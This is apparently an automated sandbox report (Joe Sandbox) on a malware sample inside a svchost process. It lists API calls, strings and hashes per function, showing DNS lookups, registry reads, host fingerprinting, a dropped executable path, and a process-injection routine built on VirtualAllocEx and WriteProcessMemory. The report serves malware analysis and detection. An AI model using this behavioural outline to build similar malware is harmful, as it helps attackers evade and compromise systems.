API ID: closesockethtonssocket
String ID: time_cfg
API String ID: 311057483-2401304539
Opcode ID: 293f0d92404d803de27c654531fdab6374a6e62e39b9d51a6fe611051cdfa48b
Instruction ID: f1dc2c379eff33673368d138c82eca43a3e7d603645ba823c2745d1ee972110e
Opcode Fuzzy Hash: 293f0d92404d803de27c654531fdab6374a6e62e39b9d51a6fe611051cdfa48b
Instruction Fuzzy Hash: B3313B76D4011CAFDB119FA5DC849EE7BBCFB49354F104566FA15E2240E7709A418BA0

Function 02D3405E Relevance: 16.7, APIs: 11, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 02D34070
ExitProcess.KERNEL32 ref: 02D34121

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID:
API String ID: 2404124870-0
Opcode ID: edfa4e9893accfe436745de38271ba643f15bd9375a52c8aa52cb6e3dca50250
Instruction ID: 6bd999b44afd5a50eeb79f2863be345fe69e0c4d901cf20bcd5e3575768be7f8
Opcode Fuzzy Hash: edfa4e9893accfe436745de38271ba643f15bd9375a52c8aa52cb6e3dca50250
Instruction Fuzzy Hash: E6516DB1D40219BBEB22AAA0CD85FAF7BBDEB11755F100055FA14F62C0E7749E01CBA1

Function 02D32D21 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,02D32F01,?,02D320FF,02D42000), ref: 02D32D3A
LoadLibraryA.KERNEL32(?), ref: 02D32D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 02D32D61
DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,?,00000000), ref: 02D32D77
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 02D32D99
HeapAlloc.KERNEL32(00000000), ref: 02D32DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 02D32DCB

Strings

dnsapi.dll, xrefs: 02D32D29
DnsQuery_A, xrefs: 02D32D5B

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcessQuery_lstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 233223969-3847274415
Opcode ID: df399e4d7ba3d4e751d096bb72221714915bc91941c4b5f796d5442e909656fa
Instruction ID: ba8e5e242ff0b302d2c34a167514d44f7a1b87bec132984438f271f8b474bea5
Opcode Fuzzy Hash: df399e4d7ba3d4e751d096bb72221714915bc91941c4b5f796d5442e909656fa
Instruction Fuzzy Hash: 0B216075D41625ABCB229F55EC48AAEBBB8EF08B55F104412FE45E7300D7B0AD85CBD0

Function 02D380C9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 146
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 02D3815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,02D3A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 02D38187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,02D3A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 02D381BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 02D38210

Part of subcall function 02D3675C: SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 02D3677E
Part of subcall function 02D3675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 02D3679A
Part of subcall function 02D3675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 02D367B0
Part of subcall function 02D3675C: SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 02D367BF
Part of subcall function 02D3675C: GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 02D367D3
Part of subcall function 02D3675C: ReadFile.KERNELBASE(000000FF,?,00000040,02D38244,00000000,?,75920F10,00000000), ref: 02D36807
Part of subcall function 02D3675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 02D3681F
Part of subcall function 02D3675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 02D3683E
Part of subcall function 02D3675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 02D3685C

Part of subcall function 02D3EC2E: GetProcessHeap.KERNEL32(00000000,02D3EA27,00000000,02D3EA27,00000000), ref: 02D3EC41
Part of subcall function 02D3EC2E: RtlFreeHeap.NTDLL(00000000), ref: 02D3EC48

Strings

&^{, xrefs: 02D38259
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02D38225, 02D3823A

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: &^{$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe
API String ID: 124786226-1851784633
Opcode ID: 55b9f417b721782404b2c8d6ac36fca16bfe2961c444a142ce60ebaf07cff122
Instruction ID: 8b922c1183d46548398a21274f359d88f055600a695640d763ac24e166615291
Opcode Fuzzy Hash: 55b9f417b721782404b2c8d6ac36fca16bfe2961c444a142ce60ebaf07cff122
Instruction Fuzzy Hash: 04417EB6D41149BFEB12AFA0DD84EAE77ADEB04304F14486AF901E2340E7709E54DB61

Function 02D31AC3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 02D31AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 02D31AE9
GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,?,00000001), ref: 02D31B20

Strings

Iphlpapi.dll, xrefs: 02D31ACC
GetAdaptersAddresses, xrefs: 02D31AE3

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AdaptersAddressAddressesLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 3646706440-1087626847
Opcode ID: 4b683013ae0f35692c3368e5be0b0777b0701d64622186567985f66d166be279
Instruction ID: 1ced93574bcacca8e40537369fc3739a75ed8b5e460f828abc53ac75657e5106
Opcode Fuzzy Hash: 4b683013ae0f35692c3368e5be0b0777b0701d64622186567985f66d166be279
Instruction Fuzzy Hash: 5E11D375E01128AFDB279BA9DC848EDFBBAEB45B51F144456E509E3340E730DE40CB90

Function 02D3E3CA Relevance: 7.6, APIs: 5, Instructions: 136
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,02D3E5F2,00000000,00020119,02D3E5F2,02D422F8), ref: 02D3E3E6
RegQueryValueExA.ADVAPI32(02D3E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 02D3E44E
RegQueryValueExA.ADVAPI32(02D3E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 02D3E482
RegQueryValueExA.ADVAPI32(02D3E5F2,?,00000000,?,80000001,?), ref: 02D3E4CF
RegCloseKey.ADVAPI32(02D3E5F2,?,?,?,?,000000C8,000000E4), ref: 02D3E520

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 9c12a545a8483ef26fb6a31716621ecaf0fc2dcfbc89a796f407a2f27b0f1048
Instruction ID: 13a8336cf9a4736dcb8c1b88aca16552b0aef6b14a5a0a1efe7d73e50dddc959
Opcode Fuzzy Hash: 9c12a545a8483ef26fb6a31716621ecaf0fc2dcfbc89a796f407a2f27b0f1048
Instruction Fuzzy Hash: 3B41D7B2D0021DAFDF129F98DC84DEEBBB9EF08345F144566EA10E2290E3319E55DB60

Function 02D3F26D Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 02D3F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 02D3F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 02D3F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 02D3F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 02D3F2FD

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 09179a2b9693859e0e13b1ead52b3cf89aa8e65c6f7017d169535f971c3e1d26
Instruction ID: 55e3257226da2ce5576feb3474f76f054d3749e723506985130a764a4e1d08d6
Opcode Fuzzy Hash: 09179a2b9693859e0e13b1ead52b3cf89aa8e65c6f7017d169535f971c3e1d26
Instruction Fuzzy Hash: 1F110DB5A40248BAEF11DF94CD81FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Function 02D31BDF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D31AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 02D31AD4
Part of subcall function 02D31AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 02D31AE9
Part of subcall function 02D31AC3: GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,?,00000001), ref: 02D31B20

GetComputerNameA.KERNEL32(?,0000000F), ref: 02D31C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 02D31C51

Strings

hi_id, xrefs: 02D31BE5
localcfg, xrefs: 02D31BE7

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AdaptersAddressAddressesComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2794401326-2393279970
Opcode ID: de5f4142d4c4dae12d55aa755500a21f75b6795d698bd83883f2e2ce312b7b84
Instruction ID: b89f82619e5fe2e138910b8f6f020e0b8b94346efc83692d53f5922a02f97b31
Opcode Fuzzy Hash: de5f4142d4c4dae12d55aa755500a21f75b6795d698bd83883f2e2ce312b7b84
Instruction Fuzzy Hash: 140180B6A04129BBEB12DEE9C8C49EFFBBCEB44685F100475E706E3200D630DE4496A0

Function 02D31B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 02D31AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 02D31AD4
Part of subcall function 02D31AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 02D31AE9
Part of subcall function 02D31AC3: GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,?,00000001), ref: 02D31B20

GetComputerNameA.KERNEL32(?,0000000F), ref: 02D31BA3
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,02D31EFD,00000000,00000000,00000000,00000000), ref: 02D31BB8

Strings

localcfg, xrefs: 02D31B7B

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AdaptersAddressAddressesComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2794401326-1857712256
Opcode ID: a63588ef2457d0057b3c13d2996a08d514aae12b46d87c78363cc4bd3a7675c4
Instruction ID: f144af9fefcd1248aba9c092c81a2a5c9737ef00d37e2b1b6aba86eacf4bc365
Opcode Fuzzy Hash: a63588ef2457d0057b3c13d2996a08d514aae12b46d87c78363cc4bd3a7675c4
Instruction Fuzzy Hash: B6014FB7D00108BFEB019AE9C8819EFFBBDEB48655F150561A705E7240D570AE088AB0

Function 02D32684 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000001), ref: 02D32693
gethostbyname.WS2_32(00000001), ref: 02D3269F

Strings

time_cfg, xrefs: 02D32684

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg
API String ID: 1594361348-2401304539
Opcode ID: c9dac4484ec756bd760030a64865d999cee1418c4aa1c4c81353c3c2633c7e29
Instruction ID: ea4a2199543dfa1d85ac92b5bc66fc1cfdf00d3eaeca0ffa93e8f253bfbcfcd8
Opcode Fuzzy Hash: c9dac4484ec756bd760030a64865d999cee1418c4aa1c4c81353c3c2633c7e29
Instruction Fuzzy Hash: 47E08C30A044518FCB518E28F888A9937E4AF06331F018580F840D3390C7309C80C680

Function 02D3E52E Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02D3DD05: GetTickCount.KERNEL32 ref: 02D3DD0F
Part of subcall function 02D3DD05: InterlockedExchange.KERNEL32(02D436B4,00000001), ref: 02D3DD44
Part of subcall function 02D3DD05: GetCurrentThreadId.KERNEL32 ref: 02D3DD53

GetFileSize.KERNEL32(00000000,00000000,?,75920F10,?,00000000,?,02D3A445), ref: 02D3E558
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,75920F10,?,00000000,?,02D3A445), ref: 02D3E583
CloseHandle.KERNEL32(00000000,?,75920F10,?,00000000,?,02D3A445), ref: 02D3E5B2

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID:
API String ID: 3683885500-0
Opcode ID: c06362abc41cc72e653796b1b5f3aa10ba1d72f51a05b5dc896334c02c03ff7b
Instruction ID: 10e04f039424c74c071d377179c7bbcbcecb0ba495c9108aedcd131500d2bab2
Opcode Fuzzy Hash: c06362abc41cc72e653796b1b5f3aa10ba1d72f51a05b5dc896334c02c03ff7b
Instruction Fuzzy Hash: C921F9B2A803017BF2267A25EC49F9B3B5EDF55751F200454BE0AB13D2EA51ED10C9F1

Function 02D3877E Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 02D388A5

Part of subcall function 02D3F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,02D3E342,00000000,7508EA50,80000001,00000000,02D3E513,?,00000000,00000000,?,000000E4), ref: 02D3F089
Part of subcall function 02D3F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,02D3E342,00000000,7508EA50,80000001,00000000,02D3E513,?,00000000,00000000,?,000000E4,000000C8), ref: 02D3F093

Strings

localcfg, xrefs: 02D387CA, 02D387CF, 02D387FB, 02D38835, 02D38861
rresolv, xrefs: 02D387F6, 02D3885C

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Sleep
String ID: localcfg$rresolv
API String ID: 1561729337-486471987
Opcode ID: 3168e440d1f7f93880c905db301270f472e3683a478348c6dc5c88426bfb09e8
Instruction ID: 35adab72b0410c1947c577dcfdb45e5f288ad2ec782c570e457d8dbd3fb18ea2
Opcode Fuzzy Hash: 3168e440d1f7f93880c905db301270f472e3683a478348c6dc5c88426bfb09e8
Instruction Fuzzy Hash: 6621B471D883046BF216AF66EC4AF7A3BEADB44710FA40919FD04D53C0EFA55D4489B2

Function 02D34000 Relevance: 4.5, APIs: 3, Instructions: 35sleepfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,02D422F8,02D342B6,00000000,00000001,02D422F8,00000000,?,02D398FD), ref: 02D34021
GetLastError.KERNEL32(?,02D398FD,00000001,00000100,02D422F8,02D3A3C7), ref: 02D3402C
Sleep.KERNEL32(000001F4,?,02D398FD,00000001,00000100,02D422F8,02D3A3C7), ref: 02D34046

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID:
API String ID: 408151869-0
Opcode ID: 5dee96556d08d0cbebc61e671e0232fb2c53abb4625d2443d3db68991a468476
Instruction ID: de9750ea193339ea8648d04ebc9764e221d330facc8628cf2f22d708299ee490
Opcode Fuzzy Hash: 5dee96556d08d0cbebc61e671e0232fb2c53abb4625d2443d3db68991a468476
Instruction Fuzzy Hash: 35F082357481016BD7360A24EC49B1A33A1DB81729F354A64F3B5E22D0C7345C81DA14

Function 02D3DB67 Relevance: 4.5, APIs: 3, Instructions: 32filestringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02D3DC19,?,00000104), ref: 02D3DB7F
lstrcpyA.KERNEL32(?,02D428F8), ref: 02D3DBA4
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000080,00000000), ref: 02D3DBC2

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CreateEnvironmentFileVariablelstrcpy
String ID:
API String ID: 2536392590-0
Opcode ID: a555655c40ba949b775259479df049acb1c741d1ab0c1035a5fd1c08b435d5a0
Instruction ID: a0da3b7f018df24f09e90489f9f08b86a6f817077c2a088d21bbaa21b1c35464
Opcode Fuzzy Hash: a555655c40ba949b775259479df049acb1c741d1ab0c1035a5fd1c08b435d5a0
Instruction Fuzzy Hash: 9EF02E70540209ABEF21CF60DC89FE93BA9BB00308F2004A0BB90A41C0D3F2E9A4CF20

Function 02D3EC54 Relevance: 4.5, APIs: 3, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 02D3EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 02D3EC72
GetTickCount.KERNEL32 ref: 02D3EC78

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 3d3bed17d64cfea9686c13a37192fb238e673765c607026b285dbf3cec6b6f7c
Instruction ID: 6714301239873d0c5df847d81881b0553ba7ed6a9b1e9b93f6dac16a501ed105
Opcode Fuzzy Hash: 3d3bed17d64cfea9686c13a37192fb238e673765c607026b285dbf3cec6b6f7c
Instruction Fuzzy Hash: DBE09AF9C50104BFE705AFB4DC4AE6B77FCEB08315F500A50BA11D6180DA70AE148B60

Function 02D330B5 Relevance: 3.0, APIs: 2, Instructions: 29networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000080), ref: 02D330D8
gethostbyname.WS2_32(?), ref: 02D330E2

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: f92bf2e094a287ad062cf058302e330de41834be95d9914eeba62554386fe87d
Instruction ID: 4320677f883e6213b76fefe0d14f68b2a22bfcbb01199c5419b0f247831e1980
Opcode Fuzzy Hash: f92bf2e094a287ad062cf058302e330de41834be95d9914eeba62554386fe87d
Instruction Fuzzy Hash: DCE06D76D00119ABCB00ABA8EC89F9A77ECFF05208F184461F905E7380EA34E9048BA0

Function 02D3EC2E Relevance: 3.0, APIs: 2, Instructions: 14memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02D3EBA0: GetProcessHeap.KERNEL32(00000000,00000000,02D3EC0A,00000000,80000001,?,02D3DB55,7FFF0001), ref: 02D3EBAD
Part of subcall function 02D3EBA0: HeapSize.KERNEL32(00000000,?,02D3DB55,7FFF0001), ref: 02D3EBB4

GetProcessHeap.KERNEL32(00000000,02D3EA27,00000000,02D3EA27,00000000), ref: 02D3EC41
RtlFreeHeap.NTDLL(00000000), ref: 02D3EC48

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeSize
String ID:
API String ID: 1305341483-0
Opcode ID: b181d2d3f607f2156ed6d9a21efaead39fa77d5ffd700d8f6682d4e968f6cdb8
Instruction ID: 0c683cec162ad8e884cdd4c970fd224c9ac68c433e856fccf78b2155cd15ac59
Opcode Fuzzy Hash: b181d2d3f607f2156ed6d9a21efaead39fa77d5ffd700d8f6682d4e968f6cdb8
Instruction Fuzzy Hash: C4C012328462306BC5572E50F80CFDF6BA8DF45612F090809F505A628087605C408AE1

Function 02D3EBCC Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,02D3EBFE,7FFF0001,?,02D3DB55,7FFF0001), ref: 02D3EBD3
RtlAllocateHeap.NTDLL(00000000,?,02D3DB55,7FFF0001), ref: 02D3EBDA

Part of subcall function 02D3EB74: GetProcessHeap.KERNEL32(00000000,00000000,02D3EC28,00000000,?,02D3DB55,7FFF0001), ref: 02D3EB81
Part of subcall function 02D3EB74: HeapSize.KERNEL32(00000000,?,02D3DB55,7FFF0001), ref: 02D3EB88

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: bb181b4b8588490a4c89215bae65dad15bea9110b82e0426c3f6134a42fcb1f6
Instruction ID: 8a2ea8c09d60fd81e53d3ff9f5a387ab11dc1da26ae07d0eeb3763cc69e6de82
Opcode Fuzzy Hash: bb181b4b8588490a4c89215bae65dad15bea9110b82e0426c3f6134a42fcb1f6
Instruction Fuzzy Hash: A9C0803654423067C6062BA4BC0CFDA3FE4DF04353F040404F709C1350C7304C5087A1

Function 02D3F43E Relevance: 1.5, APIs: 1, Instructions: 33networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(000000C8,?,00000000,02D3CA44), ref: 02D3F476

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 413c0246bbd4c039f4aeafd8efb1245a4627ecd5431e6c34612048bdd2cb8a3c
Instruction ID: cedad4e1172c606d56440c84a29b163cb72b203adcb4534f838368f690d4be71
Opcode Fuzzy Hash: 413c0246bbd4c039f4aeafd8efb1245a4627ecd5431e6c34612048bdd2cb8a3c
Instruction Fuzzy Hash: 24F0127260155DAF9B129E59DC84CAB3BAEFB892607444521FA54D7210D631DC25CB70

Function 02D31978 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00000000), ref: 02D31992

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 39f9d1ada24e8141d18299d3ce475499f7c628162e48d395a207a72354a2945a
Instruction ID: a8d24245ddd490363e9cbf21737982f5a75a5790d14cbc07dec7e514e0a46233
Opcode Fuzzy Hash: 39f9d1ada24e8141d18299d3ce475499f7c628162e48d395a207a72354a2945a
Instruction Fuzzy Hash: 07D012265486367A52162759F80457FABDCDF456B2B11941AFD48D0250D734CC4187A5

Function 02D3DD84 Relevance: 1.3, APIs: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(80000011,00000000), ref: 02D3DDB5

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 3f5d71971691fdcd8688e7afaaf1bfad2931ff28587be0d3ce19adad3018d8b4
Instruction ID: e7f957df94ae89ffee2df8cc8f15c0ded8b579b5d39e1c78ea810302b84b3091
Opcode Fuzzy Hash: 3f5d71971691fdcd8688e7afaaf1bfad2931ff28587be0d3ce19adad3018d8b4
Instruction Fuzzy Hash: 18F01C75604302CBCB22CE65E884656B7EAEB86369F24492EE655D3340DB30EC55CF61

Non-executed Functions

Function 02D3637C Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02D39816,EntryPoint), ref: 02D3638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,02D39816,EntryPoint), ref: 02D363A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 02D363CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 02D363EB

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: a4ec13d6b365c2c8901328d236273e5fb1797c992ec29f1ff70239d27d1741ac
Instruction ID: ea0e7ffed4f7640a985f24e82e343a6f624ec49ae1a044504defeb49f074e399
Opcode Fuzzy Hash: a4ec13d6b365c2c8901328d236273e5fb1797c992ec29f1ff70239d27d1741ac
Instruction Fuzzy Hash: E8118276A00219BFDB114F65DC49F9B3BACEF047A5F114424F904EA380D770DC10CAA4

Function 02D31000 Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,02D31839,02D39646), ref: 02D31012
GetProcAddress.KERNEL32(00000000,RtlExpandEnvironmentStrings_U), ref: 02D310C2
